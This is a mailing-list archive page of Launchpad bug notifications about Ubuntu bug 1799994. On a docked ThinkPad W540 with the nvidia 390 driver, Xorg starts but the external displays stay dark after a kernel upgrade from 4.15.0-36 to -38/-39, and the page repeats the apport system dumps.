Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799994] Re: Xorg loads, no display on 4.15.0-38 and 4.15.0-39, works on 4.15.0-36
** Attachment added: "Xorg.0-39.log" https://bugs.launchpad.net/ubuntu/+source/linux/+bug/174/+attachment/5205558/+files/Xorg.0-39.log ** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed ** Changed in: xorg (Ubuntu) Status: Incomplete => Confirmed ** Tags added: ubuntu ** Description changed: Lenovo ThinkPad W540 docked with an ultradock. 3 external displays running on VGA, DVI and display port all connected to the dock. BIOS mode set to run external displays ONLY with nvidia chipset. prime-select nvidia run. When running under 4.15.0-36-generic with nvidia 390.77-0ubuntu0.18.04.1 I boot and all three external displays run fine. Upgrading to 4.15.0-38 and Xorg starts up, but none of the displays light up. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: timr 3768 F pulseaudio /dev/snd/controlC1: timr 3768 F pulseaudio /dev/snd/controlC0: timr 3768 F pulseaudio CurrentDesktop: GNOME-Flashback:GNOME DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2014-02-15 (1713 days ago) InstallationMedia: Ubuntu 13.10 "Saucy Salamander" - Release amd64 (20131016.1) MachineType: LENOVO 20BHS02400 NonfreeKernelModules: nvidia_modeset nvidia Package: linux-image-generic 4.15.0.38.40 PackageArchitecture: amd64 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3fddcb3e-369a-45a1-bcf5-a73850ae7c9f ro video=1920x1080 "acpi_osi=!Windows 2012" ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: Upgraded to bionic on 2018-08-17 (68 days ago) UserGroups: adm cdrom dialout dip disk docker lpadmin plugdev sambashare sudo vboxusers video www-data _MarkForUpload: True dmi.bios.date: 03/16/2016 dmi.bios.vendor: LENOVO dmi.bios.version: GNET79WW (2.27 ) dmi.board.asset.tag: Not Available dmi.board.name: 20BHS02400 dmi.board.vendor: LENOVO dmi.board.version: 0B98401 Pro dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Not Available dmi.modalias: dmi:bvnLENOVO:bvrGNET79WW(2.27):bd03/16/2016:svnLENOVO:pn20BHS02400:pvrThinkPadW540:rvnLENOVO:rn20BHS02400:rvr0B98401Pro:cvnLENOVO:ct10:cvrNotAvailable: dmi.product.family: ThinkPad W540 dmi.product.name: 20BHS02400 dmi.product.version: ThinkPad W540 dmi.sys.vendor: LENOVO --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2014-02-15 (1713 days ago) InstallationMedia: Ubuntu 13.10 "Saucy Salamander" - Release amd64 (20131016.1) MachineType: LENOVO 20BHS02400 NonfreeKernelModules: nvidia_modeset nvidia Package: linux-generic 4.15.0.38.40 PackageArchitecture: amd64 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-38-generic root=UUID=3fddcb3e-369a-45a1-bcf5-a73850ae7c9f ro video=1920x1080 "acpi_osi=!Windows 2012" ProcVersionSignature: Ubuntu 4.15.0-38.41-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-38-generic N/A linux-backports-modules-4.15.0-38-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-38-generic x86_64 UpgradeStatus: Upgraded to bionic on 2018-08-17 (69 days ago) UserGroups: adm cdrom dialout dip disk docker lpadmin plugdev sambashare sudo vboxusers video www-data _MarkForUpload: True dmi.bios.date: 03/16/2016 dmi.bios.vendor: LENOVO dmi.bios.version: GNET79WW (2.27 ) dmi.board.asset.tag: Not Available dmi.board.name: 20BHS02400 dmi.board.vendor: LENOVO dmi.board.version: 0B98401 Pro dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Not Available dmi.modalias: dmi:bvnLENOVO:bvrGNET79WW(2.27):bd03/16/2016:svnLENOVO:pn20BHS02400:pvrThinkPadW540:rvnLENOVO:rn20BHS02400:rvr0B98401Pro:cvnLENOVO:ct10:cvrNotAvailable: dmi.product.family: ThinkPad W540 dmi.product.name: 20BHS02400 dmi.product.version: ThinkPad W540 dmi.sys.vendor: LENOVO --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/by-id', '/dev/snd/pcmC2D0c', '/dev/snd/controlC2', '/dev/snd/by-path', '/dev/snd/hwC1D0', '/dev/snd/pcmC1D0c', '/dev/s
[Touch-packages] [Bug 1799994] .proc.driver.nvidia.params.txt
apport information ** Attachment added: ".proc.driver.nvidia.params.txt" https://bugs.launchpad.net/bugs/174/+attachment/5205559/+files/.proc.driver.nvidia.params.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/174 Title: Xorg loads, no display on 4.15.0-38 and 4.15.0-39, works on 4.15.0-36 Status in linux package in Ubuntu: Confirmed Status in nvidia-graphics-drivers-390 package in Ubuntu: New Status in xorg package in Ubuntu: Confirmed Bug description: Lenovo ThinkPad W540 docked with an ultradock. 3 external displays running on VGA, DVI and display port all connected to the dock. BIOS mode set to run external displays ONLY with nvidia chipset. prime- select nvidia run. When running under 4.15.0-36-generic with nvidia 390.77-0ubuntu0.18.04.1 I boot and all three external displays run fine. Upgrading to 4.15.0-38 and Xorg starts up, but none of the displays light up. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: timr 3768 F pulseaudio /dev/snd/controlC1: timr 3768 F pulseaudio /dev/snd/controlC0: timr 3768 F pulseaudio CurrentDesktop: GNOME-Flashback:GNOME DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2014-02-15 (1713 days ago) InstallationMedia: Ubuntu 13.10 "Saucy Salamander" - Release amd64 (20131016.1) MachineType: LENOVO 20BHS02400 NonfreeKernelModules: nvidia_modeset nvidia Package: linux-image-generic 4.15.0.38.40 PackageArchitecture: amd64 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3fddcb3e-369a-45a1-bcf5-a73850ae7c9f ro video=1920x1080 "acpi_osi=!Windows 2012" ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: Upgraded to bionic on 2018-08-17 (68 days ago) UserGroups: adm cdrom dialout dip disk docker lpadmin plugdev sambashare sudo vboxusers video www-data _MarkForUpload: True dmi.bios.date: 03/16/2016 dmi.bios.vendor: LENOVO dmi.bios.version: GNET79WW (2.27 ) dmi.board.asset.tag: Not Available dmi.board.name: 20BHS02400 dmi.board.vendor: LENOVO dmi.board.version: 0B98401 Pro dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Not Available dmi.modalias: dmi:bvnLENOVO:bvrGNET79WW(2.27):bd03/16/2016:svnLENOVO:pn20BHS02400:pvrThinkPadW540:rvnLENOVO:rn20BHS02400:rvr0B98401Pro:cvnLENOVO:ct10:cvrNotAvailable: dmi.product.family: ThinkPad W540 dmi.product.name: 20BHS02400 dmi.product.version: ThinkPad W540 dmi.sys.vendor: LENOVO --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2014-02-15 (1713 days ago) InstallationMedia: Ubuntu 13.10 "Saucy Salamander" - Release amd64 (20131016.1) MachineType: LENOVO 20BHS02400 NonfreeKernelModules: nvidia_modeset nvidia Package: linux-generic 4.15.0.38.40 PackageArchitecture: amd64 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-38-generic root=UUID=3fddcb3e-369a-45a1-bcf5-a73850ae7c9f ro video=1920x1080 "acpi_osi=!Windows 2012" ProcVersionSignature: Ubuntu 4.15.0-38.41-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-38-generic N/A linux-backports-modules-4.15.0-38-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-38-generic x86_64 UpgradeStatus: Upgraded to bionic on 2018-08-17 (69 days ago) UserGroups: adm cdrom dialout dip disk docker lpadmin plugdev sambashare sudo vboxusers video www-data _MarkForUpload: True dmi.bios.date: 03/16/2016 dmi.bios.vendor: LENOVO dmi.bios.version: GNET79WW (2.27 ) dmi.board.asset.tag: Not Available dmi.board.name: 20BHS02400 dmi.board.vendor: LENOVO dmi.board.version: 0B98401 Pro dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Not Available dmi.modalias: dmi:bvnLENOVO:bvrGNET79WW(2.27):bd03/16/2016:svnLENOVO:pn20BHS02400:pvrThinkPadW540:rvnLENOVO:rn20BHS02400:rvr0B98401Pro:cvnLENOVO:ct10:cvrNotAvailable: dmi.product.family: ThinkPad W540 dmi.product.name: 20BHS02400 dmi.product.version: ThinkPad W540 dmi.sys.vend
[Touch-packages] [Bug 1799994] Re: Xorg loads, no display on 4.15.0-38 and 4.15.0-39, works on 4.15.0-36
Both apport-collect logs are already attached. Xorg.0.log from -38 already attached. Adding -39 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/174 Title: Xorg loads, no display on 4.15.0-38 and 4.15.0-39, works on 4.15.0-36 Status in linux package in Ubuntu: Confirmed Status in nvidia-graphics-drivers-390 package in Ubuntu: New Status in xorg package in Ubuntu: Confirmed Bug description: Lenovo ThinkPad W540 docked with an ultradock. 3 external displays running on VGA, DVI and display port all connected to the dock. BIOS mode set to run external displays ONLY with nvidia chipset. prime- select nvidia run. When running under 4.15.0-36-generic with nvidia 390.77-0ubuntu0.18.04.1 I boot and all three external displays run fine. Upgrading to 4.15.0-38 and Xorg starts up, but none of the displays light up. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: timr 3768 F pulseaudio /dev/snd/controlC1: timr 3768 F pulseaudio /dev/snd/controlC0: timr 3768 F pulseaudio CurrentDesktop: GNOME-Flashback:GNOME DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2014-02-15 (1713 days ago) InstallationMedia: Ubuntu 13.10 "Saucy Salamander" - Release amd64 (20131016.1) MachineType: LENOVO 20BHS02400 NonfreeKernelModules: nvidia_modeset nvidia Package: linux-image-generic 4.15.0.38.40 PackageArchitecture: amd64 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3fddcb3e-369a-45a1-bcf5-a73850ae7c9f ro video=1920x1080 "acpi_osi=!Windows 2012" ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: Upgraded to bionic on 2018-08-17 (68 days ago) UserGroups: adm cdrom dialout dip disk docker lpadmin plugdev sambashare sudo vboxusers video www-data _MarkForUpload: True dmi.bios.date: 03/16/2016 dmi.bios.vendor: LENOVO dmi.bios.version: GNET79WW (2.27 ) dmi.board.asset.tag: Not Available dmi.board.name: 20BHS02400 dmi.board.vendor: LENOVO dmi.board.version: 0B98401 Pro dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Not Available dmi.modalias: dmi:bvnLENOVO:bvrGNET79WW(2.27):bd03/16/2016:svnLENOVO:pn20BHS02400:pvrThinkPadW540:rvnLENOVO:rn20BHS02400:rvr0B98401Pro:cvnLENOVO:ct10:cvrNotAvailable: dmi.product.family: ThinkPad W540 dmi.product.name: 20BHS02400 dmi.product.version: ThinkPad W540 dmi.sys.vendor: LENOVO --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2014-02-15 (1713 days ago) InstallationMedia: Ubuntu 13.10 "Saucy Salamander" - Release amd64 (20131016.1) MachineType: LENOVO 20BHS02400 NonfreeKernelModules: nvidia_modeset nvidia Package: linux-generic 4.15.0.38.40 PackageArchitecture: amd64 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-38-generic root=UUID=3fddcb3e-369a-45a1-bcf5-a73850ae7c9f ro video=1920x1080 "acpi_osi=!Windows 2012" ProcVersionSignature: Ubuntu 4.15.0-38.41-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-38-generic N/A linux-backports-modules-4.15.0-38-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-38-generic x86_64 UpgradeStatus: Upgraded to bionic on 2018-08-17 (69 days ago) UserGroups: adm cdrom dialout dip disk docker lpadmin plugdev sambashare sudo vboxusers video www-data _MarkForUpload: True dmi.bios.date: 03/16/2016 dmi.bios.vendor: LENOVO dmi.bios.version: GNET79WW (2.27 ) dmi.board.asset.tag: Not Available dmi.board.name: 20BHS02400 dmi.board.vendor: LENOVO dmi.board.version: 0B98401 Pro dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Not Available dmi.modalias: dmi:bvnLENOVO:bvrGNET79WW(2.27):bd03/16/2016:svnLENOVO:pn20BHS02400:pvrThinkPadW540:rvnLENOVO:rn20BHS02400:rvr0B98401Pro:cvnLENOVO:ct10:cvrNotAvailable: dmi.product.family: ThinkPad W540 dmi.product.name: 20BHS02400 dmi.product.version: ThinkPad W540 dmi.sys.vendor: LENOVO --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Archit
